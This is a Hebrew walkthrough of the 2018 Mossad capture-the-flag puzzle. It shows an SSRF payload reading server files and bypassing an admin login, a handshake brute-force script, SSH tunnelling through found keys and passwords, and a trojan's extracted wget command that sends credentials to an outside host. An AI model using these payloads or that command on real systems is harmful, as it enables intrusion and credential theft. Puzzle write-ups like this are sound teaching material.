אתגר המוסד - התשע"ח
הקדמה:
כשבוע לפני יום העצמאות התשע"ח הופיעה ספירה לאחור באתר של המוסד:
הספירה לאחור הייתה באתר ייעודי: https://www.r-u-ready.xyz
מתחת לספירה הופיעה שורת קוד +[--------->++<]>+.++[->+++<]>++.+[--->+<]>.+[->+++<]>.--[--->+<]>-.---[->++++<]>.------------.---.--[--->+<]>-.+[->+++<]>+.---.--[--->+<]>-.+++[->+++<]>.--[--->+<]>.
בשפה בשם brainfuck
. הרצנו את הקוד וקיבלנו:
הספירה לאחור מסתיימת ב-20:00 18/04/2018 שיוצא בערב יום העצמאות. מצפים לאתגר החדש.
בבוקר יום הזיכרון (18/04/2018) פורסמה בעיתון ישראל היום התמונה הבאה:
בתמונה נראה שיש שני קטעי קוד מובלטים:
מסביב ללוגו של המוסד מופיעים שוב ושוב המילים Israel-is-70
אולי זה המפתח?
לקחנו את הבתים שנשארו בזיכרון (7A 46 5C 53 55 59 03 5A 41 03 06 01
) ועשינו XOR בינהם לבין Israel-is-70
. התוצאה שהתקבלה: 35.205.32.11
שזה כתובת ip שמובילה לאתר https://www.r-u-ready.xyz
. נראה שנאלץ לחכות עוד קצת.
שלב 1
אז הספירה לאחורה הסתיימה, הבה נצא לדרך!
קישור! קליק קליק קליק!
איזה בלוג חביב:
מה הלאה?
נראה שאין הרבה מה לחפש כשלא מחוברים, אז בואו ננסה להתחבר:
הפלא ופלא, להתחבר עם admin:admin
לא עבד!
בואו ננסה להרשם:
מעניין מה הכפתור TRY...
עושה, בואו נבדוק... זה הקוד שלו:
function getProfilePic()
{
var url_regex = /^(https?:\/\/(www\.)?)?[a-z0-9]+([\-\.]{1}[a-z0-9]+)*\.[a-z]{2,5}(:[0-9]{1,5})?(\/[^\/]+)*([^\/]+\.png)(\?((\.+)\=(.+))*)?$/gm
url = $("#profile_url")[0].value;
if (url != "")
{
if (!url_regex.test (url))
{
alert ("Not a valid PNG url! " + url);
return;
}
$.getJSON ('testProfilePng', { u: btoa(url) }, showProfilePng)
}
}
function showProfilePng (json)
{
if (json && 'png' in json)
{
$("#usr_img")[0].src = '/profilePics/' + json.png;
}
if (json && 'err' in json && json.err != "" && json.err != "200" && json.err != "OK")
{
alert (json.err);
}
}
נראה שהוא מבצע אימות על הקישור, ואם הכל בסדר אז הוא מציג את התמונה שהוזנה ב '/profilePics/' + json.png
.
אבל אם הבדיקה מתבצעת רק בצד לקוח? בואו ננסה לרמות ולהכניס קישור לקובץ שעל השרת
במקרה שלנו ננסה לגשת לקובץ login.php
.
$.getJSON ('testProfilePng', { u: btoa("file:///var/WWW/login.php#.png") }, showProfilePng)
אחרי קרב ארוך ומייגע מצאנו איפה הקובץ הזה ממוקם בשרת. גילינו גם שהשרת מוודא שקיים הסיומת .png
����♂️.
אז עכשיו יש לנו את הקוד של מערכת ההתחברות, הנה החלקים החשובים לאתגר:
define("ADMIN_USER_NAME", "admin");
...
function do_login(){
$remote_ip = $_SERVER['REMOTE_ADDR'];
$user = $_REQUEST['user_name'];
if ($remote_ip == "127.0.0.1" && $user == ADMIN_USER_NAME)
{
...
נראה שאם מישהו שיושב על השרת טוען שהוא אדמין אז הוא מתחבר ישר ללא צורך בסיסמה. מודל אבטחתי גאוני!
אנחנו כבר יודעים שאנחנו יכולים לגלוש בשרת בעזרת פונקציית בדיקת פרופיל, אז ננסה להתחבר בעזרת זה למשתמש אדמין.
$.getJSON ('testProfilePng', { u: btoa("http://35.205.32.11/login.php?user_name=admin#.png") }, showProfilePng)
אוקיי, קיבלנו תשובה שהעוגיה מעולה.
$.getJSON ('testProfilePng', { u: btoa("http://35.205.32.11/administration#.png") }, showProfilePng)
ועכשיו קיבלנו את כל תוכן הקובץ administration
. מצאנו בקובץ הזה את הקישור שההאקר הקודם שפרץ לדף השאיר /ch1_success
, מה הסיכוי שזה יהיה שימושי?
הידד!
שלב 2
הלאה!
הפעם הקישור הוריד לנו קובץ pcap
. בעזרת wireshark
מצאנו חמש שיחות. השתיים הראשונות והשתיים האחרונות היו מעין אימות. השרת שולח md5 של מספר, והלקוח מחזיר sha512 של המספר הבא. השיחה האמצעית הכילה התחברות לשרת ftp עם הפרטים user:12345
אני מניח שאנחנו אמורים לעשות את אותו הדבר...
חבר כתב סקריפט נחמד שמבצע עבורינו את האימות:
from pwn import *
import hashlib
def md5rev(expected):
for i in range(10000,100000):
if hashlib.md5(str(i)).hexdigest() == expected:
return i
def sha512num(number):
return hashlib.sha512(str(number)).hexdigest()
conn = remote('35.204.90.89',5555)
md5 = conn.recvline().replace('\r','').replace('\n','')
num = md5rev(md5)
sha = sha512num(num+1)
print("md5: %s" % md5)
print("num: %s" % num)
print("sha: %s" % sha)
conn.sendline(sha)
print(conn.recvall())
Sample run:
$ python solve.py
[+] Opening connection to 35.204.90.89 on port 5555: Done
md5: ce5f87af88939d59cf73ca61cba8c260
num: 62578
sha: 7bdfd3a07b8c8f02df1dc97e8647f04af257a0db76e9f7825668e31b3f8d0f8dd571d5ef1f33d007ab25dde4d362eccfbbeddeb0eeedd672b53a850d666002f2
[+] Receiving all data: Done (35B)
[*] Closed connection to 35.204.90.89 port 5555
MY_IP Temporarily Authorized.
עכשיו שיש לנו אישור זמני אנחנו יכולים להתחבר לשרת ftp: ftp 35.204.90.89 2121
ולהוריד את כל הקבצים.
בין ערימות של גיבויים התיקייה הכי מעניית שמצאנו היא \users\backup
מצאנו בתוכה מפתח פרטי שאיפשר לנו להתחבר לחשבון הזה sftp -i id_rsa [email protected]
אבל אבוי! זה דורש סיסמא למפתח פרטי! אך למזלנו תוכן הקובץ hint
היה הסיסמה הנכונה: s3cr3t
.
$ sftp -i id_rsa backup@35.204.90.89
Welcome to Backup Server!
All your actions are
being recorded!
Hahahah!!
,-.
,' |
/.__,|
/((_)):
/ `-' \
,' ,--. \
.' , ((__)) `.
'.': `--' \._)
| ,--. :
| ((__)) |
| `--' |
,'..____..-`.
`--..____...--' SSt
Enter passphrase for key 'id_rsa':
Connected to 35.204.90.89.
sftp> ls
conf_enc.pyc
sftp>
אולי הקובץ הזה קשור לגיבויים המוצפנים שמצאנו קודם. בעזרת uncompyle2 קיבלנו קוד מקור:
import base64
from Crypto.Cipher import AES
from Crypto import Random
import sys, os
key = 'd3adb33f13371337'
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]
class AESCipher:
def __init__(self, key):
self.key = key
def encrypt(self, raw):
raw = pad(raw)
iv = Random.new().read(AES.block_size)
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return base64.b64encode(iv + cipher.encrypt(raw))
def main():
if len(sys.argv) != 2:
exit(1)
in_file = sys.argv[1]
if os.path.isfile(in_file):
out_file = in_file + '.enc'
fin = file(in_file, 'rb').read()
fout = file(out_file, 'wb')
cypher = AESCipher(key)
enc_data = cypher.encrypt(fin)
fout.write(enc_data)
fout.close()
if __name__ == '__main__':
main()
זה אכן הקוד שבעזרתו הצפינו את הגיבויים. נכתוב פונקציית פיענוח...
def decrypt(self, raw):
raw = base64.b64decode(raw)
iv = raw[:AES.block_size]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(raw[AES.block_size:]))
זהב.
מבין כל קבצי הגיבויים היו רק שניים שונים, אחד עבור floppyfw
והשני עבור cisco
. בקובץ של סיסקו מצאנו שם משתמש fwadmin
וסיסמה 107D1C09560521580F16693F14082026351C1512
, פיענוח של הסיסמא בעזרת האתר הזה הינו Sup3rS3cr#tP@ssword
גילינו גם שכדי להתחבר לשרת אנחנו צריכים לעבור דרך השרת ftp לאיפיי חיצוני ומשם לאיפי פננימי. בעזרת פרטי ההתחברות שאספנו עיצבנו דרך התחברות:
השלב הראשון היה להתחבר לאייפי החיצוני בעזרת השרת ftp: ssh -N -L 9999:10.164.0.3:22 [email protected] -i id_rsa_decrypted
ומשם להתחבר לאייפי הפנימי: ssh -N -L 9000:10.128.0.3:8080 [email protected] -p 9999
עכשיו שכל החיבור המסורבל הזה היה מוכן יכלנו לגשת ל-127.0.0.1:9000
ולקבל קובץ שהפנה אותנו לעמוד חדש:
שלמות!
שלב 3
אתגר אחרון! (כנראה)
הפעם קיבלנו קובץ בשם busybox
, הרצנו אותו וקיבלנו את הפלט הבא:
$ ./busybox
BusyBox v1.29.0.git (2018-02-18 06:33:22 UTC) multi-call binary.
BusyBox is copyrighted by many authors between 1998-2015.
Licensed under GPLv2. See source distribution for detailed
copyright notices.
Usage: busybox [function [arguments]...]
or: busybox --list[-full]
or: busybox --install [-s] [DIR]
or: function [arguments]...
BusyBox is a multi-call binary that combines many common Unix
utilities into a single executable. Most people will create a
link to busybox for each function they wish to use and BusyBox
will act like whatever it was invoked as.
**** This version of BusyBox is an 'augmented-reality' version ;).. left you a hint at /tmp ... ****
Currently defined functions:
adjtimex, base64, beep, cat, chmod, clear, dnsdomainname, echo, false,
hostname, ifconfig, ifdown, ifup, kill, killall, ls, lsof, md5sum, nc,
netcat, netstat, nslookup, ping, ps, reset, resize, top, true, tty,
uname, wget, whoami
שורה מעניינת במיוחד: **** This version of BusyBox is an 'augmented-reality' version ;).. left you a hint at /tmp ... ****
. בואו נעיף מבט:
$ ./busybox ls /tmp -la
ls: /uos: No such file or directory
רגע, אבל הקלדתי משהו אחר! נראה שכל אות עולה לפי האינדקס שלה במילה, צריך לטפל בזה:
from string import ascii_lowercase as lower_letters
def fixlower(words):
res = ''
for i, char in enumerate(words):
if char in lower_letters:
res = res + lower_letters[(lower_letters.index(char) - i)%len(lower_letters)]
else:
res += char
return res
זה אמור לעבוד:
$ ./busybox ls /skm -la
total 0
drwxrwxrwt 0 root root 4096 Apr 22 03:50 .
drwxr-xr-x 0 root root 4096 Jan 1 1970 ..
-r--r--r-- 0 root root 1337 Jan 1 1970 .readme
אז הנה לנו קובץ מוסתר:
$ ./busybox cat /skm/.lxsuct
Suspicious network activity detected...
אממ, טוב...
$ ./busybox netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 64 0.0.0.0:31337 11.32.205.35.bc.googleusercontent.com:http ESTABLISHED
netstat: /proc/net/raw: No such file or directory
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags Type State I-Node Path
netstat: /proc/net/unix: No such file or directory
אכן יש פעילות מוזרה ברשת, בואו נראה אילו תוכנות פועלות ברקע:
$ ./busybox ps
PID USER TIME COMMAND
1337 root 13:37 /tmp/Tr0j (deleted) -u admin --default-pass
1 root 0:00 /init
271 me 0:00 -bash
297 me 0:00 python
314 me 0:00 -bash
328 me 0:00 ./busybox ps
הראשון נראה ממש מוזר, בואו נסתכל יותר לעומק:
$ ./busybox ls /oply/1337 -la
dr--r--r-- 0 root root 0 Jan 1 1970 .
dr--r--r-- 0 root root 0 Jan 1 1970 ..
-r--r--r-- 0 root root 1337 Jan 1 1970 cmdline
-r--r--r-- 0 root root 1337 Jan 1 1970 environ
-r--r--r-- 0 root root 1337 Jan 1 1970 exe
אנחנו כבר יודעים מה cmdline
מכיל, אז בואו נוריד את התוכנית עצמה: ./busybox cat /oply/1337/tlr > exe
. עליה הרצנו את strings
שנתנה לנו די הרבה מידע שעלול להיות שימושי:
Uw1lLN3v3rG3tM3
35.205.32.11
wget -O /tmp/.store 'http://%s/iso?user=%s&pass=%s'
user
pass
default-pass
נראה שצריך לבנות קישור, רובו די ברור: http://35.205.32.11/iso?user=admin&pass=
. אבל מה הסיסמה? ידוע לנו שהתוכנית הופעלה עם הדגל --default-pass
, אבל מה היא הסיסמה הזאת? אולי זה הטקסט המוזר שמעל האייפי?Uw1lLN3v3rG3tM3
("u will never get me, in 1337)? אכן. כעת קיבלנו הורדה לקובץ iso
. חילצנו אותה וקיבלנו 6 תמונות (1.JPG, 2.JPG, 4.PNG, 5.JPG, 6.JPG, 7.JPG) קובץ בשם VAULT
וקובץ בשם THUMBS.DB
. מעניין למה אין קובץ מספר 3.
התמונות:
1.JPG | 2.JPG | 4.PNG | 5.JPG | 6.JPG | 7.JPG |
הרצנו binwalk
על THUMBS.DB
וגילינו שהוא מכיל 7 קבצי JPEG
. נחלץ אותם: binwalk —dd='.*' THUMBS.DB
. חמש מהתמונות היו לנו כבר וקיבלנו שתיים חדשות. על אחת התמונות כתוב *israel70*
מעניין אם זה חשוב...
התמונות החדשות:
9418.jpeg | C818.jpeg |
הלאה לקובץ VAULT
. בעזרת האתר הנפלא הזה חילצנו ארבעה קבצים (index.html, key.js, script.js, aes.js) כל קבצי הג'אווהסריפט היו מוצפנים בעזרת משהו שנקרא blow fish
. בעזרת האתר הזה ניסינו לפענח את הקבצים, וגילינו שהמפתח היה *israel70*
אכן שימושי. עכשיו יש לנו ביד 4 קבצים שבונים אתר, בואו ננסה לגלוש אליו.
הממ, זה מנסה לטעון את key.js
מ-127.0.0.1:1337/key.js
במקום פשוט ישירות מהקובץ. יש לנו אבל בעיה שהקוד שיש לנו כתוב בצורה לא קריאה בכלל. בעזרת אתר בסגנון הזה קיבלנו קוד קריא ושינינו אותו שישתמש במפתח שלנו:
function loadScript(src, callback) {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
eval(this.responseText);
if (typeof(callback) != 'undefined') {
callback()
}
}
};
xhttp.open("GET", src, true);
xhttp.send()
}
key = "sg342C_fqg3453gqh"
loadScript("http://35.205.32.11/ch3/sid");
loadScript("http://35.205.32.11/ch3/payload", run);
function run() {
if (typeof(key) != 'undefined') {
if (typeof(payload) != 'undefined') {
var decrypted = CryptoJS.AES.decrypt(payload, key);
console.log((decrypted.toString(CryptoJS.enc.Utf8)))
}
}
}
בואו ננסה את האתר שוב. הפעם קיבלנו קוד נורא ארוך בשפה jsfuck
. בעזרת המדריך הזה הצלחנו לדבג את הקוד, להשיג את הסיסמה H4pPyB1r7hd4y70I5ra3l!
ולקבל הפניה לאתר אחר:
תם ונשלם!
עדכון [29.04.2018]
האתגר נסגר רשמית
תודות
תודה ל-MeitarR, naweiss, ו-yoavst שבלעדיהם כנראה הייתי פורש מהאתגר.
פתרונות אחרים
MeitarR ו-yoavst כתבו פתרונות לאתגרים שניתן למצוא כאן: